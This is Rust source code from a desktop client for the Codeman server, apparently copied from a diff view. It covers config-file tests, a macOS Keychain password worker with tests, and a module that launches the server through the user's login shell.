assert_eq!(fs::read(dir.join("desktop.json.corrupt")).unwrap(), bytes);
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn unreadable_path_is_moved_aside() {
let dir = tmp_dir("unreadable");
let path = dir.join("desktop.json");
// A directory where the file should be: it exists but cannot be read.
fs::create_dir_all(path.join("inside")).unwrap();
let (c, can_save) = Config::load_from(&path);
assert_eq!(c, Config::default());
assert!(can_save);
assert!(!path.exists());
assert!(dir.join("desktop.json.corrupt").join("inside").is_dir());
c.save_to(&path).unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), true));
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn second_corruption_keeps_the_first_copy() {
let dir = tmp_dir("corrupt-twice");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
fs::write(&path, "{ first").unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), true));
fs::write(&path, "{ second").unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), true));
assert!(!path.exists());
assert_eq!(fs::read_to_string(dir.join("desktop.json.corrupt")).unwrap(), "{ first");
assert_eq!(
fs::read_to_string(dir.join("desktop.json.corrupt.1")).unwrap(),
"{ second"
);
// A good file written afterwards loads normally and moves nothing.
Config::default().save_to(&path).unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), true));
assert!(!dir.join("desktop.json.corrupt.2").exists());
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn taken_aside_names_are_skipped() {
let dir = tmp_dir("aside-taken");
// A directory left at the first name and a file at the second: the
// third is the first free one.
fs::create_dir_all(dir.join("desktop.json.corrupt")).unwrap();
fs::write(dir.join("desktop.json.corrupt.1"), "kept").unwrap();
#[cfg(unix)]
std::os::unix::fs::symlink(dir.join("nowhere"), dir.join("desktop.json.corrupt.2")).unwrap();
let next = if cfg!(unix) {
"desktop.json.corrupt.3"
} else {
"desktop.json.corrupt.2"
};
let path = dir.join("desktop.json");
fs::write(&path, "{ not json").unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), true));
assert!(!path.exists());
assert!(dir.join("desktop.json.corrupt").is_dir());
assert_eq!(fs::read_to_string(dir.join("desktop.json.corrupt.1")).unwrap(), "kept");
// The dangling symlink still points nowhere and still counts as taken.
#[cfg(unix)]
assert!(fs::symlink_metadata(dir.join("desktop.json.corrupt.2"))
.unwrap()
.is_symlink());
assert_eq!(fs::read_to_string(dir.join(next)).unwrap(), "{ not json");
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn no_free_aside_name_disables_saving() {
let dir = tmp_dir("aside-full");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
let names: Vec<PathBuf> = std::iter::once(dir.join("desktop.json.corrupt"))
.chain((1..ASIDE_SLOTS).map(|n| dir.join(format!("desktop.json.corrupt.{n}"))))
.collect();
assert_eq!(names.len(), 10);
for (n, name) in names.iter().enumerate() {
fs::write(name, format!("copy {n}")).unwrap();
}
fs::write(&path, "{ not json").unwrap();
assert_eq!(Config::load_from(&path), (Config::default(), false));
assert_eq!(fs::read_to_string(&path).unwrap(), "{ not json");
for (n, name) in names.iter().enumerate() {
assert_eq!(fs::read_to_string(name).unwrap(), format!("copy {n}"));
}
assert!(!dir.join("desktop.json.corrupt.10").exists());
let _ = fs::remove_dir_all(&dir);
}
#[cfg(unix)]
#[test]
fn failed_move_aside_disables_saving() {
use std::os::unix::fs::PermissionsExt;
let dir = tmp_dir("stuck");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
fs::write(&path, "{ not json").unwrap();
fs::set_permissions(&dir, fs::Permissions::from_mode(0o555)).unwrap();
// Root ignores the read-only directory, so the rename cannot fail.
if fs::write(dir.join("probe"), "").is_ok() {
eprintln!("skipped: the directory is still writable (running as root?)");
fs::set_permissions(&dir, fs::Permissions::from_mode(0o755)).unwrap();
let _ = fs::remove_dir_all(&dir);
return;
}
let (c, can_save) = Config::load_from(&path);
fs::set_permissions(&dir, fs::Permissions::from_mode(0o755)).unwrap();
assert_eq!(c, Config::default());
assert!(!can_save);
assert_eq!(fs::read_to_string(&path).unwrap(), "{ not json");
assert!(!dir.join("desktop.json.corrupt").exists());
let _ = fs::remove_dir_all(&dir);
}
#[test]
fn recent_list_is_deduped_and_capped() {
let mut c = Config::default();
for i in 0..12 {
assert!(c.remember(&format!("http://h{i}/"), None, false).is_empty());
}
assert!(c.remember("http://h5/", Some("me"), false).is_empty());
assert_eq!(c.servers.len(), MAX_SERVERS);
assert_eq!(c.servers[0].url, "http://h5/");
assert_eq!(c.servers.iter().filter(|s| s.url == "http://h5/").count(), 1);
assert_eq!(c.forget("http://h5/").unwrap().username.as_deref(), Some("me"));
assert!(c.find("http://h5/").is_none());
}
#[test]
fn remember_leaves_a_username_change_to_the_caller() {
let url = "https://box.ts.net/";
let mut c = Config::default();
assert!(c.remember(url, Some("Alice"), true).is_empty());
// Every change of the username on the same server, a case-only one,
// another user, or none at all, returns nothing: the caller deletes
// the old account before it saves the new one.
for (user, saved) in [
(Some("alice"), true),
(Some(" alice "), true),
(Some("bob"), true),
(None, false),
(None, false),
(Some("dave"), true),
] {
assert!(c.remember(url, user, saved).is_empty(), "{user:?}");
let entry = c.find(url).unwrap();
assert_eq!((entry.username.as_deref(), entry.has_saved_password), (user, saved));
assert_eq!(c.servers.iter().filter(|s| s.url == url).count(), 1);
}
assert!(c.remember("http://other/", Some("carol"), true).is_empty());
assert!(c.remember(url, Some("erin"), true).is_empty());
assert_eq!(c.servers.len(), 2);
assert_eq!(c.servers[0].url, url);
assert_eq!(c.find("http://other/").unwrap().username.as_deref(), Some("carol"));
}
#[test]
fn remember_returns_evicted_accounts() {
let mut c = Config::default();
for i in 0..MAX_SERVERS {
let user = (i % 2 == 0).then(|| format!("u{i}"));
assert!(c.remember(&format!("http://h{i}/"), user.as_deref(), true).is_empty());
}
// Moving a listed server to the top evicts nothing.
assert!(c.remember("http://h3/", None, false).is_empty());
assert_eq!(c.servers.len(), MAX_SERVERS);
// A new server pushes the oldest (h0, with a username) off the end.
assert_eq!(
c.remember("http://new/", None, false),
vec![("http://h0/".to_string(), "u0".to_string())]
);
// The next oldest is h1, which has no username: nothing to delete.
assert!(c.remember("http://newer/", Some("x"), true).is_empty());
assert_eq!(c.servers.len(), MAX_SERVERS);
assert!(c.find("http://h0/").is_none() && c.find("http://h1/").is_none());
// A username change on a listed server returns nothing; the next new
// server evicts the oldest entry, and only that account comes back.
let mut c = Config::default();
for i in 0..MAX_SERVERS {
assert!(c.remember(&format!("http://h{i}/"), Some("u"), true).is_empty());
}
assert!(c.remember("http://h7/", Some("v"), true).is_empty());
assert_eq!(
c.remember("http://h8/", Some("w"), true),
vec![("http://h0/".to_string(), "u".to_string())]
);
assert_eq!(c.find("http://h7/").unwrap().username.as_deref(), Some("v"));
assert_eq!(c.servers.len(), MAX_SERVERS);
}
#[test]
fn unknown_and_missing_fields_tolerated() {
let c: Config = serde_json::from_str(r#"{"servers":[{"url":"http://a/"}],"future":1}"#).unwrap();
assert!(c.auto_connect);
assert_eq!(c.servers[0].username, None);
}
#[test]
fn a_bad_window_frame_keeps_the_servers() {
for (name, window) in [
("missing-height", r#"{"x":1,"y":2,"width":3}"#),
("not-a-frame", r#""maximized""#),
("null-number", r#"{"x":null,"y":2,"width":3,"height":4}"#),
] {
let dir = tmp_dir(&format!("bad-window-{name}"));
fs::create_dir_all(&dir).unwrap();
let path = dir.join("desktop.json");
fs::write(
&path,
format!(r#"{{"servers":[{{"url":"http://a/"}}],"autoConnect":false,"window":{window}}}"#),
)
.unwrap();
let (c, can_save) = Config::load_from(&path);
assert!(can_save, "{name}");
assert_eq!(c.servers.len(), 1, "{name}");
assert!(!c.auto_connect, "{name}");
assert_eq!(c.window, None, "{name}");
// The file was read, so it stays where it is.
assert!(path.is_file(), "{name}");
assert!(!path.with_extension("json.corrupt").exists(), "{name}");
}
// A whole frame and an absent one read as before.
let c: Config =
serde_json::from_str(r#"{"window":{"x":1,"y":2,"width":900,"height":600,"fullscreen":true}}"#).unwrap();
assert_eq!(c.window.map(|f| (f.width, f.fullscreen)), Some((900.0, true)));
assert_eq!(serde_json::from_str::<Config>("{}").unwrap().window, None);
assert_eq!(
serde_json::from_str::<Config>(r#"{"window":null}"#).unwrap().window,
None
);
}
#[test]
fn first_run_window_sits_between_the_menu_bar_and_the_dock() {
let screen = |width: f64, height: f64| Rect {
x: 0.0,
y: 0.0,
width,
height,
};
let size = (1280.0, 820.0);
let min = (480.0, 360.0);
// A 13 inch MacBook: the window is shortened, and ends above the Dock.
let f = WindowFrame::first_run(&screen(1440.0, 900.0), size, min);
assert_eq!((f.width, f.height), (1280.0, 744.0));
assert_eq!((f.x, f.y), (80.0, 66.0));
assert!(f.y + f.height <= 900.0 - 90.0);
// A large display: the full size, centred across and in the free height.
let f = WindowFrame::first_run(&screen(2560.0, 1440.0), size, min);
assert_eq!((f.width, f.height), (1280.0, 820.0));
assert_eq!(f.x, 640.0);
assert_eq!(f.y - 66.0, 1440.0 - 90.0 - (f.y + f.height));
// A second display to the left of the first.
let left = Rect {
x: -1920.0,
y: 120.0,
width: 1920.0,
height: 1080.0,
};
let f = WindowFrame::first_run(&left, size, min);
assert_eq!(f.x, -1920.0 + 320.0);
assert!(f.y >= 120.0 + 66.0 && f.y + f.height <= 120.0 + 1080.0 - 90.0);
// Never smaller than the minimum, on a display too small for it too.
let f = WindowFrame::first_run(&screen(500.0, 400.0), size, min);
assert_eq!((f.width, f.height), min);
assert!(!f.fullscreen);
}
#[test]
fn frame_sanitizing_and_reachability() {
assert!(frame(f64::NAN, 0.0, 800.0, 600.0).sanitized().is_none());
let small = frame(0.0, 0.0, 10.0, 10.0).sanitized().unwrap();
assert_eq!((small.width, small.height), (MIN_WIDTH, MIN_HEIGHT));
let screen = [rect(0.0, 0.0, 1512.0, 982.0)];
let on = frame(100.0, 50.0, 1200.0, 800.0);
assert!(reachable(&on, &screen));
assert_eq!(on.fitted_to(&screen, MIN), Some(on));
let off = frame(3000.0, 50.0, 1200.0, 800.0);
assert!(!reachable(&off, &screen));
assert_eq!(off.fitted_to(&screen, MIN), None);
let above = frame(100.0, -900.0, 1200.0, 800.0);
assert!(!reachable(&above, &screen));
assert_eq!(above.fitted_to(&screen, MIN), None);
// Only a sliver of the title bar on screen is not enough to grab.
let sliver = frame(-1150.0, 50.0, 1200.0, 800.0);
assert!(!reachable(&sliver, &screen));
assert_eq!(sliver.fitted_to(&screen, MIN), None);
// No screens at all (none reported): nothing is reachable.
assert_eq!(on.fitted_to(&[], MIN), None);
}
#[test]
fn title_bar_is_above_y_on_macos() {
let screen = [rect(0.0, 0.0, 1512.0, 982.0)];
// On macOS the title bar of a content top at y = 10 is at -18..10,
// mostly above the screen; elsewhere it is at 10..38.
let high = frame(100.0, 10.0, 1200.0, 800.0);
assert_eq!(reachable(&high, &screen), !cfg!(target_os = "macos"));
// Half the bar above the top edge: still grabbable, and fitting
// brings all of it onto the screen.
let straddling = frame(100.0, TITLE_ABOVE_Y - 10.0, 1200.0, 800.0);
assert!(reachable(&straddling, &screen));
let fitted = straddling.fitted_to(&screen, MIN).unwrap();
assert_eq!(outer(&fitted).1, 0.0);
assert_eq!((fitted.x, fitted.width, fitted.height), (100.0, 1200.0, 800.0));
}
#[test]
fn frame_from_an_unplugged_ultrawide_is_fitted() {
// Saved on a 3440x1440 display at the origin, restored on a laptop.
let laptop = [rect(0.0, 0.0, 1512.0, 982.0)];
let wide = frame(0.0, 30.0, 3300.0, 1300.0);
let fitted = wide.fitted_to(&laptop, MIN).unwrap();
assert_eq!(
(fitted.x, fitted.y, fitted.width, fitted.height),
(0.0, 30.0, 1512.0 - FIT_MARGIN_X, 982.0 - FIT_MARGIN_Y)
);
let (left, top, right, bottom) = outer(&fitted);
assert!(left >= 0.0 && top >= 0.0 && right <= 1512.0 && bottom <= 982.0);
// Hanging off the right of the laptop by a bit: shifted, not shrunk.
let fitted = frame(500.0, 100.0, 1200.0, 700.0).fitted_to(&laptop, MIN).unwrap();
assert_eq!(
(fitted.x, fitted.y, fitted.width, fitted.height),
(312.0, 100.0, 1200.0, 700.0)
);
// Hanging off the left: shifted right.
let fitted = frame(-1000.0, 100.0, 1200.0, 700.0).fitted_to(&laptop, MIN).unwrap();
assert_eq!((fitted.x, fitted.width), (0.0, 1200.0));
}
#[test]
fn frame_spanning_two_displays_is_left_alone() {
let screens = [rect(0.0, 0.0, 1512.0, 982.0), rect(1512.0, -200.0, 2560.0, 1440.0)];
let span = frame(1000.0, 100.0, 1500.0, 700.0);
assert_eq!(span.fitted_to(&screens, MIN), Some(span));
// Only the edge that lands on no display moves: the left edge stays
// on the laptop, the right edge comes back onto the external one.
let past = frame(1000.0, 100.0, 3500.0, 700.0);
let fitted = past.fitted_to(&screens, MIN).unwrap();
assert_eq!(fitted.x, 1000.0);
assert_eq!(fitted.x + fitted.width, 1512.0 + 2560.0 - FIT_MARGIN_X);
assert_eq!((fitted.y, fitted.height), (100.0, 700.0));
}
#[test]
fn fitted_frame_keeps_the_minimum_size() {
let tiny = [rect(0.0, 0.0, 400.0, 300.0)];
let fitted = frame(0.0, 40.0, 1200.0, 800.0).fitted_to(&tiny, MIN).unwrap();
assert_eq!((fitted.width, fitted.height), MIN);
// Too big for the screen even at the minimum: the left edge and the
// title bar stay on it.
let (left, top, _, _) = outer(&fitted);
assert_eq!((left, top), (0.0, 0.0));
assert!(reachable(&fitted, &tiny));
// The fullscreen flag rides along.
let full = WindowFrame {
fullscreen: true,
..frame(0.0, 40.0, 1200.0, 800.0)
};
assert!(full.fitted_to(&tiny, MIN).unwrap().fullscreen);
}
}
+354
View File
@@ -0,0 +1,354 @@
//! Saved passwords, in the macOS Keychain (service "Codeman Desktop", one item
//! per username + server). Nothing secret is ever written to the config file.
//! Windows and Linux get their stores when those builds land.
//!
//! Every Keychain call runs on ONE long-lived worker thread, never on the
//! event loop: any of them can bring up the system's access prompt (an
//! ad-hoc build's items name the previous build), and the window must keep
//! running while it is up. One serial worker rather than a thread per call,
//! because jobs must run in the order they were asked for: a delete from
//! Forget that ran after a later save of the same account would remove the
//! password that was just saved.
use std::sync::mpsc::{self, Receiver, Sender};
use std::thread::{self, JoinHandle};
pub const SERVICE: &str = "Codeman Desktop";
/// What a job reports when the worker thread is gone.
const WORKER_GONE: &str = "The Keychain could not be reached.";
/// The Keychain account name for a username on a server.
pub fn account(server_url: &str, username: &str) -> String {
format!("{username} @ {server_url}")
}
/// The password store the worker runs jobs against: the Keychain on macOS,
/// a stub elsewhere, an in-memory map in the tests.
trait Backend: Send {
fn load(&mut self, account: &str) -> Option<String>;
fn save(&mut self, account: &str, password: &str) -> Result<(), String>;
fn delete(&mut self, account: &str);
}
enum Job {
Load {
account: String,
reply: Sender<Option<String>>,
},
Save {
account: String,
password: String,
reply: Sender<Result<(), String>>,
},
Delete {
account: String,
},
/// Ends the worker, so the tests can check what callers see after it.
#[cfg(test)]
Stop,
}
/// A handle on the Keychain worker. Start it once with [`Keychain::spawn`]
/// and clone the handle: every clone feeds the same queue, which is what
/// keeps jobs in order. The worker ends when the last handle is dropped.
#[derive(Clone)]
pub struct Keychain {
jobs: Sender<Job>,
}
impl Keychain {
/// Starts the worker. If the thread cannot be started, the handle still
/// works and every call fails soft (no password, save refused).
pub fn spawn() -> Keychain {
start(Box::new(imp::System)).0
}
/// The saved password for an account. Blocks until every job queued
/// before it has run and the Keychain has answered, which can mean
/// waiting on the access prompt, so call it from a worker thread.
/// `None` when nothing is saved, the item is unreadable or the worker
/// is gone.
pub fn load_blocking(&self, account: &str) -> Option<String> {
let (reply, answer) = mpsc::channel();
let job = Job::Load {
account: account.to_owned(),
reply,
};
self.jobs.send(job).ok()?;
answer.recv().ok().flatten()
}
/// Saves a password, replacing any saved before. Blocks like
/// [`Keychain::load_blocking`]; the result is the Keychain's own.
pub fn save_blocking(&self, account: &str, password: &str) -> Result<(), String> {
let (reply, answer) = mpsc::channel();
let job = Job::Save {
account: account.to_owned(),
password: password.to_owned(),
reply,
};
if self.jobs.send(job).is_err() {
return Err(WORKER_GONE.into());
}
answer.recv().unwrap_or_else(|_| Err(WORKER_GONE.into()))
}
/// Queues the removal of an account's password and returns at once.
/// Jobs queued after it see the account gone. Nothing happens when the
/// worker is gone.
pub fn delete(&self, account: &str) {
let _ = self.jobs.send(Job::Delete {
account: account.to_owned(),
});
}
}
/// Starts a worker on `backend`. The join handle is for the tests; `None`
/// when the thread could not be started, in which case the receiver went
/// down with the closure and every send fails.
fn start(backend: Box<dyn Backend>) -> (Keychain, Option<JoinHandle<()>>) {
let (jobs, queue) = mpsc::channel();
let worker = thread::Builder::new()
.name("keychain".into())
.spawn(move || run(backend, queue))
.ok();
(Keychain { jobs }, worker)
}
/// The worker loop: one job at a time, in the order they were sent, until
/// every handle is gone. A reply nobody waits for any more is dropped.
fn run(mut backend: Box<dyn Backend>, queue: Receiver<Job>) {
for job in queue {
match job {
Job::Load { account, reply } => {
let _ = reply.send(backend.load(&account));
}
Job::Save {
account,
password,
reply,
} => {
let _ = reply.send(backend.save(&account, &password));
}
Job::Delete { account } => backend.delete(&account),
#[cfg(test)]
Job::Stop => return,
}
}
}
#[cfg(target_os = "macos")]
mod imp {
use super::{Backend, SERVICE};
use objc2::rc::autoreleasepool;
use security_framework::passwords::{delete_generic_password, get_generic_password, set_generic_password};
/// The login Keychain, through security-framework. The worker lives as
/// long as the app and a thread's implicit autorelease pool drains only
/// when the thread ends, so each call gets its own pool and whatever
/// Security autoreleases is freed with the job.
pub struct System;
impl Backend for System {
fn load(&mut self, account: &str) -> Option<String> {
autoreleasepool(|_| {
get_generic_password(SERVICE, account)
.ok()
.and_then(|b| String::from_utf8(b).ok())
})
}
fn save(&mut self, account: &str, password: &str) -> Result<(), String> {
autoreleasepool(|_| set_generic_password(SERVICE, account, password.as_bytes()).map_err(|e| e.to_string()))
}
fn delete(&mut self, account: &str) {
autoreleasepool(|_| {
let _ = delete_generic_password(SERVICE, account);
})
}
}
}
#[cfg(not(target_os = "macos"))]
mod imp {
use super::Backend;
/// No password store yet on this platform.
pub struct System;
impl Backend for System {
fn load(&mut self, _account: &str) -> Option<String> {
None
}
fn save(&mut self, _account: &str, _password: &str) -> Result<(), String> {
Err("Saving passwords is not supported on this platform yet.".into())
}
fn delete(&mut self, _account: &str) {}
}
}
/// A Keychain on an in-memory store, for these tests and for the tests of the
/// code that uses a Keychain (main.rs).
#[cfg(test)]
pub(crate) mod memory {
use super::{start, Backend, Keychain};
use std::collections::HashMap;
use std::sync::{Arc, Mutex};
use std::time::Duration;
/// An in-memory store that logs every job it runs. Its delete is slow on
/// purpose: a queue that did not keep order would let the next job
/// overtake it, and the tests would see that.
#[derive(Clone, Default)]
pub(crate) struct Memory {
items: Arc<Mutex<HashMap<String, String>>>,
log: Arc<Mutex<Vec<String>>>,
}
impl Memory {
fn note(&self, entry: String) {
self.log.lock().unwrap().push(entry);
}
/// The jobs the store ran, in order.
pub(crate) fn log(&self) -> Vec<String> {
self.log.lock().unwrap().clone()
}
}
impl Backend for Memory {
fn load(&mut self, account: &str) -> Option<String> {
self.note(format!("load {account}"));
self.items.lock().unwrap().get(account).cloned()
}
fn save(&mut self, account: &str, password: &str) -> Result<(), String> {
self.note(format!("save {account}"));
self.items
.lock()
.unwrap()
.insert(account.to_owned(), password.to_owned());
Ok(())
}
fn delete(&mut self, account: &str) {
std::thread::sleep(Duration::from_millis(30));
self.note(format!("delete {account}"));
self.items.lock().unwrap().remove(account);
}
}
/// A worker on a fresh store, and the store to look into.
pub(crate) fn keychain() -> (Keychain, Memory) {
let memory = Memory::default();
let (keychain, worker) = start(Box::new(memory.clone()));
assert!(worker.is_some(), "the worker thread starts");
(keychain, memory)
}
}
#[cfg(test)]
mod tests {
use super::memory::{keychain, Memory};
use super::{start, Backend, Job, Keychain};
/// A store whose load fails the way a crashed worker would.
struct Crashes;
impl Backend for Crashes {
fn load(&mut self, _account: &str) -> Option<String> {
panic!("keychain worker crashed");
}
fn save(&mut self, _account: &str, _password: &str) -> Result<(), String> {
Ok(())
}
fn delete(&mut self, _account: &str) {}
}
#[test]
fn account_names_are_per_user_and_server() {
assert_eq!(
super::account("http://127.0.0.1:3000/", "admin"),
"admin @ http://127.0.0.1:3000/"
);
assert_ne!(
super::account("http://a/", "admin"),
super::account("http://b/", "admin")
);
}
#[test]
fn a_load_reads_what_a_save_wrote() {
let (keychain, _) = keychain();
assert_eq!(keychain.load_blocking("a"), None);
assert_eq!(keychain.save_blocking("a", "secret"), Ok(()));
assert_eq!(keychain.load_blocking("a").as_deref(), Some("secret"));
assert_eq!(keychain.save_blocking("a", "changed"), Ok(()));
assert_eq!(keychain.load_blocking("a").as_deref(), Some("changed"));
assert_eq!(keychain.load_blocking("b"), None);
}
#[test]
fn a_delete_queued_before_a_save_never_removes_the_saved_password() {
let (keychain, memory) = keychain();
assert_eq!(keychain.save_blocking("a", "old"), Ok(()));
keychain.delete("a");
assert_eq!(keychain.save_blocking("a", "new"), Ok(()));
assert_eq!(keychain.load_blocking("a").as_deref(), Some("new"));
assert_eq!(memory.log(), ["save a", "delete a", "save a", "load a"]);
}
#[test]
fn a_delete_queued_after_a_save_removes_it_before_the_next_job() {
let (keychain, memory) = keychain();
assert_eq!(keychain.save_blocking("a", "secret"), Ok(()));
keychain.delete("a");
// No wait between the two: the load is queued behind the delete.
assert_eq!(keychain.load_blocking("a"), None);
assert_eq!(memory.log(), ["save a", "delete a", "load a"]);
}
#[test]
fn jobs_from_clones_on_other_threads_share_one_queue() {
let (keychain, memory) = keychain();
let other = keychain.clone();
std::thread::spawn(move || {
other.save_blocking("a", "secret").unwrap();
other.delete("a");
})
.join()
.unwrap();
assert_eq!(keychain.load_blocking("a"), None);
assert_eq!(memory.log(), ["save a", "delete a", "load a"]);
}
#[test]
fn every_call_fails_soft_once_the_worker_is_gone() {
let memory = Memory::default();
let (keychain, worker) = start(Box::new(memory.clone()));
assert_eq!(keychain.save_blocking("a", "secret"), Ok(()));
keychain.jobs.send(Job::Stop).unwrap();
worker.unwrap().join().unwrap();
assert_eq!(keychain.load_blocking("a"), None);
assert!(keychain.save_blocking("a", "secret").is_err());
keychain.delete("a");
keychain.clone().delete("a");
assert_eq!(memory.log(), ["save a"]);
}
#[cfg(panic = "unwind")]
#[test]
fn a_worker_that_dies_mid_job_answers_nothing_and_takes_no_more_jobs() {
let (keychain, worker) = start(Box::new(Crashes));
assert_eq!(keychain.load_blocking("a"), None);
assert!(worker.unwrap().join().is_err(), "the worker panicked");
assert!(keychain.save_blocking("a", "secret").is_err());
keychain.delete("a");
}
#[test]
fn the_handle_is_send_and_sync() {
fn send_sync_clone<T: Send + Sync + Clone + 'static>() {}
send_sync_clone::<Keychain>();
}
}
File diff suppressed because it is too large. Load diff
+848
View File
@@ -0,0 +1,848 @@
//! "Start Codeman on this Mac": `codeman web -d` through the user's login shell.
//!
//! A double-clicked app gets launchd's bare PATH (`/usr/bin:/bin:...`), which
//! finds neither `codeman` nor `node`, and the server inherits whatever
//! environment it is started with: every session it spawns looks for
//! claude/codex/tmux on that PATH and reads provider keys from it. So the
//! command runs with the login shell's environment, picking up Homebrew and the
//! user's profile, and falls back to the interactive profile (`-i`) for setups
//! that only extend PATH there (nvm in `.zshrc`). The URL's port and base path
//! are passed as separate arguments (`"$@"`), never spliced into the script text.
//!
//! How depends on the shell, chosen by its basename as Codeman's own
//! `src/utils/shell-resolver.ts` does:
//! - A POSIX shell (zsh, bash, sh, ...) runs `SCRIPT` itself:
//! `$SHELL -l [-i] -c SCRIPT codeman-desktop <args>`.
//! - Any other shell (fish, nu, xonsh, elvish, pwsh, tcsh) cannot parse
//! `SCRIPT`: fish has no `then`/`fi` and refuses `$@`. It is only asked to
//! print its environment between two markers, and `SCRIPT` then runs under
//! `/bin/sh` with exactly that environment.
//!
//! `codeman web -d` refuses to start a second server on the same data dir and
//! returns once the new one answers `/api/status`, so this is safe to call
//! only after the probe found nothing listening.
use std::io::Read;
use std::path::{Path, PathBuf};
use std::process::{Command, Stdio};
use std::sync::mpsc;
use std::time::{Duration, Instant};
use url::Url;
use crate::policy;
/// For the whole start, every shell run and retry included.
const TIMEOUT: Duration = Duration::from_secs(60);
/// How long the pipes may stay open after the shell exited. Something the
/// profile started in the background can inherit them and keep them open for
/// as long as it runs; whatever arrived by then is used.
const PIPE_GRACE: Duration = Duration::from_secs(2);
/// Found on PATH first, then the `install.sh` clone at `~/.codeman/app`.
const SCRIPT: &str = r#"if command -v codeman >/dev/null 2>&1; then exec codeman "$@"; fi
if [ -f "$HOME/.codeman/app/dist/index.js" ] && command -v node >/dev/null 2>&1; then
exec node "$HOME/.codeman/app/dist/index.js" "$@"
fi
echo "Could not find the codeman command or ~/.codeman/app. Install Codeman first: https://github.com/Ark0N/Codeman#install" >&2
exit 127"#;
/// Bracket the environment a non-POSIX login shell prints, so whatever its
/// profile writes to stdout before or after cannot be read as a variable.
const ENV_BEGIN: &str = "__CODEMAN_DESKTOP_ENV_BEGIN__";
const ENV_END: &str = "__CODEMAN_DESKTOP_ENV_END__";
/// What a non-POSIX login shell runs to report its environment. The shell
/// itself only parses a command path and one single-quoted word with no `;`,
/// `$`, backslash or `!` in it, so fish, nu, xonsh, elvish, pwsh and tcsh have
/// no syntax of their own to disagree on. The markers and `env` run under
/// `/bin/sh`, which inherits everything the profile exported.
fn capture_command() -> String {
format!("/bin/sh -c 'echo {ENV_BEGIN}; /usr/bin/env; echo {ENV_END}'")
}
fn login_shell() -> PathBuf {
std::env::var_os("SHELL")
.map(PathBuf::from)
.filter(|p| p.is_absolute() && p.exists())
.unwrap_or_else(|| PathBuf::from("/bin/zsh"))
}
/// How the login shell takes part in a start.
#[derive(Debug, PartialEq, Eq)]
enum Flavor {
/// Runs `SCRIPT` itself.
Posix,
/// Only reports its environment. One entry per attempt, in order: a later
/// one runs when the earlier one printed no environment or its environment
/// had no `codeman` (exit 127).
Capture(&'static [&'static [&'static str]]),
}
fn flavor(shell: &Path) -> Flavor {
match shell.file_name().and_then(|n| n.to_str()).unwrap_or("") {
"sh" | "bash" | "zsh" | "dash" | "ksh" | "ash" | "ksh93" | "mksh" | "pdksh" => Flavor::Posix,
// tcsh honors -l only when it is the ONLY flag, so a login shell that
// also runs a command is impossible; -i at least reads all of .tcshrc
// (csh: .cshrc), including the parts guarded by `$?prompt`.
"csh" | "tcsh" => Flavor::Capture(&[&["-ic"]]),
_ => Flavor::Capture(&[&["-l", "-c"], &["-l", "-i", "-c"]]),
}
}
/// What one process printed, stdout and stderr kept apart.
pub struct Output {
pub code: Option<i32>,
pub stdout: String,
pub stderr: String,
}
/// What `codeman` (or `SCRIPT` failing to find it) said, for the connect page.
struct Run {
code: Option<i32>,
output: String,
}
impl From<Output> for Run {
fn from(out: Output) -> Self {
let mut output = out.stdout;
if !out.stderr.trim().is_empty() {
// On a line of its own, also when stdout ended without a newline.
if !output.is_empty() && !output.ends_with('\n') {
output.push('\n');
}
output.push_str(&out.stderr);
}
Run {
code: out.code,
output: last_lines(&output, 6),
}
}
}
/// Copy `pipe` into the channel as it arrives, tagged with `stream`, then send
/// `None` once it closes.
fn pump<R: Read + Send + 'static>(pipe: Option<R>, stream: usize, tx: mpsc::Sender<(usize, Option<Vec<u8>>)>) {
std::thread::spawn(move || {
if let Some(mut pipe) = pipe {
let mut buf = [0u8; 8192];
loop {
match pipe.read(&mut buf) {
Ok(0) => break,
Ok(n) => {
if tx.send((stream, Some(buf[..n].to_vec()))).is_err() {
return;
}
}
Err(e) if e.kind() == std::io::ErrorKind::Interrupted => continue,
Err(_) => break,
}
}
}
let _ = tx.send((stream, None));
});
}
/// `exec_bounded` for a start.
fn exec(cmd: Command, deadline: Instant) -> Result<Output, String> {
exec_bounded(
cmd,
deadline,
"Starting Codeman took longer than a minute; it was stopped.",
)
}
/// Run `cmd` to completion with stdin closed, or kill it at `deadline` and
/// answer `timed_out`.
pub fn exec_bounded(mut cmd: Command, deadline: Instant, timed_out: &str) -> Result<Output, String> {
cmd.stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped());
let mut child = cmd
.spawn()
.map_err(|e| format!("Could not run {}: {e}", Path::new(cmd.get_program()).display()))?;
// Read both pipes on threads so a chatty profile cannot fill one and stall.
let (tx, rx) = mpsc::channel();
pump(child.stdout.take(), 0, tx.clone());
pump(child.stderr.take(), 1, tx);
// A login shell usually answers within tens of milliseconds: look often
// at first, then back off.
let mut nap = Duration::from_millis(5);
let status = loop {
match child.try_wait() {
Ok(Some(status)) => break status,
Ok(None) if Instant::now() < deadline => {
std::thread::sleep(nap);
nap = (nap * 2).min(Duration::from_millis(100));
}
Ok(None) => {
let _ = child.kill();
let _ = child.wait();
return Err(timed_out.to_string());
}
Err(e) => return Err(e.to_string()),
}
};
let mut bufs = [Vec::new(), Vec::new()];
let settle = (Instant::now() + PIPE_GRACE).min(deadline);
let mut open = 2;
while open > 0 {
match rx.recv_timeout(settle.saturating_duration_since(Instant::now())) {
Ok((stream, Some(bytes))) => bufs[stream].extend_from_slice(&bytes),
Ok((_, None)) => open -= 1,
Err(_) => {
// Still held open past the grace: keep what already arrived.
for (stream, bytes) in rx.try_iter() {
if let Some(bytes) = bytes {
bufs[stream].extend_from_slice(&bytes);
}
}
break;
}
}
}
// Lossy rather than strict: one stray non-UTF-8 byte in a profile's output
// must not cost the whole environment.
let [out, err] = bufs;
Ok(Output {
code: status.code(),
stdout: String::from_utf8_lossy(&out).into_owned(),
stderr: String::from_utf8_lossy(&err).into_owned(),
})
}
/// The tail of what the command printed, for the connect page.
fn last_lines(text: &str, n: usize) -> String {
let lines: Vec<&str> = text
.lines()
.map(str::trim_end)
